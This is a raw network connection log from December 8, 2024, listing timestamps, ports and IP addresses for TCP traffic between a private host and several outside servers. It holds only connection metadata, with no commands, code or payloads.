Dec 8, 2024 15:38:23.524414062 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:23.580498934 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.580558062 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.580657959 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.580746889 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.580773115 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.580773115 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.580779076 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.612390995 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.612418890 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.612514973 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.612768888 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.612777948 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.704623938 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.704696894 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.704901934 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.704936028 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.704953909 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.704965115 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.704972029 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705240965 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705269098 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705306053 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705347061 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705351114 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.705425978 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.705493927 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.705493927 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.705516100 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705527067 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705620050 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.705620050 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.705626011 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.705634117 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.708704948 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.708746910 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.708858013 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.708899975 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.708901882 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.708980083 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.709144115 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.709156990 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.709292889 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.709306955 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.709861994 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.709871054 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.710115910 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.710226059 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.710238934 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.727019072 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.727081060 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.727154970 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.727236032 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.727241993 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.727252960 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.727257013 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.729273081 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.729301929 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.729356050 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.729490042 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.729506016 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.746372938 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.746427059 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.746470928 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.746640921 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.746656895 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.746665955 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.746670961 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.748801947 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.748833895 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.748905897 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.749027967 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.749041080 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:24.341332912 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:24.341401100 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:24.502657890 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:24.502753019 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:24.511930943 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:24.511962891 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:24.512190104 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:24.513705969 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:24.513870001 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:24.513876915 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:24.513906956 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:24.555342913 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:24.994725943 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:24.994817972 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:24.997555971 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:24.997562885 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:24.997785091 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:25.001827955 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:25.043333054 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:25.182672977 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:25.182816029 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:25.185817003 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:25.193746090 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:25.193768978 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:25.426440001 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.427575111 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.427700043 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.463411093 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.482752085 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.482889891 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.482889891 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.482889891 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.514147043 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.519306898 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:25.519364119 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:25.519412994 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:25.529751062 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.616666079 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.616686106 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.617074013 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.617085934 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.617186069 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.617192984 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.617474079 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.617489100 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.617799044 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.617805004 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.617932081 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.617937088 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.618174076 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.618179083 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.618776083 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.618781090 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.619033098 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.619045019 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.619416952 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.619421959 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.660207033 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:25.660222054 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:25.660234928 CET	49752	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:25.660240889 CET	443	49752	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:25.932832956 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.932888031 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.932934046 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.933852911 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.933871984 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.933908939 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.933945894 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.933960915 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.933980942 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.934043884 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.934103012 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.934144020 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.934840918 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.934890985 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.934935093 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.945022106 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.945046902 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.945056915 CET	49756	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.945064068 CET	443	49756	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.946386099 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.946396112 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.946408033 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.946418047 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.947422028 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.947434902 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.947452068 CET	49754	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.947457075 CET	443	49754	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.948215008 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.948221922 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.948236942 CET	49755	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.948240995 CET	443	49755	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.948379993 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.948379993 CET	49753	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.948385954 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.948395967 CET	443	49753	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.958647966 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.958662033 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.958728075 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.959974051 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.960017920 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.960102081 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.961262941 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.961282015 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.961338997 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.964678049 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.964693069 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.964828014 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.964844942 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.970284939 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.970297098 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.972954988 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.972975969 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.973037958 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.973198891 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.973212957 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.979698896 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.979707956 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:25.979760885 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.985841036 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:25.985851049 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.684040070 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.684878111 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.684890985 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.684914112 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.688998938 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.689008951 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.689305067 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.690053940 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.690080881 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.690488100 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.690494061 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.690999985 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.691591978 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.691601992 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.692533970 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.692538977 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.692637920 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.692650080 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.693073034 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.693078995 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.714875937 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.715389013 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.715401888 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:27.716048956 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:27.716052055 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.118019104 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.118088961 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.118169069 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.118212938 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.118274927 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.118318081 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.122996092 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.123049021 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.123115063 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.124459028 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.124514103 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.127163887 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.154279947 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.154350042 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.154464960 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.193593025 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.193620920 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.208580971 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.208580971 CET	49762	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.208607912 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.208617926 CET	443	49762	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.209506989 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.209527969 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.209542036 CET	49763	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.209548950 CET	443	49763	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.210297108 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.210315943 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.210328102 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.210334063 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.211030006 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.211036921 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.211046934 CET	49761	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.211050034 CET	443	49761	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.214410067 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.214448929 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.214528084 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.214802980 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.214818954 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.216382980 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.216413021 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.216485023 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.216675997 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.216690063 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.220690966 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.220705032 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.220923901 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.221559048 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.221570969 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.250127077 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.250140905 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.250216007 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.250948906 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.250960112 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.259835005 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.259862900 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:28.259999037 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.260106087 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:28.260118961 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.343203068 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:29.343841076 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:29.929392099 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.929441929 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.929991007 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.929991961 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.930002928 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.930002928 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.930600882 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.930607080 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.930694103 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.930700064 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.943775892 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.944272041 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.944281101 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.944742918 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.944747925 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.966758966 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.967382908 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.967391014 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.967890978 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.967895985 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.972479105 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.972847939 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.972860098 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:29.973284960 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:29.973289967 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.363888025 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.363960028 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.364212990 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.364835978 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.364917994 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.365220070 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.376019001 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.376019001 CET	49765	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.376034021 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.376043081 CET	443	49765	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.377177000 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.377177000 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.377211094 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.377228022 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.377305031 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.377362967 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.377434015 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.378487110 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.378500938 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.378524065 CET	49766	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.378530025 CET	443	49766	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.381439924 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.381462097 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.381537914 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.382168055 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.382178068 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.382395983 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.382420063 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.382483006 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.382987022 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.382998943 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.383025885 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.383063078 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.385159969 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.385293961 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.385308027 CET	443	49772	13.107.246.63	192.168.2.6
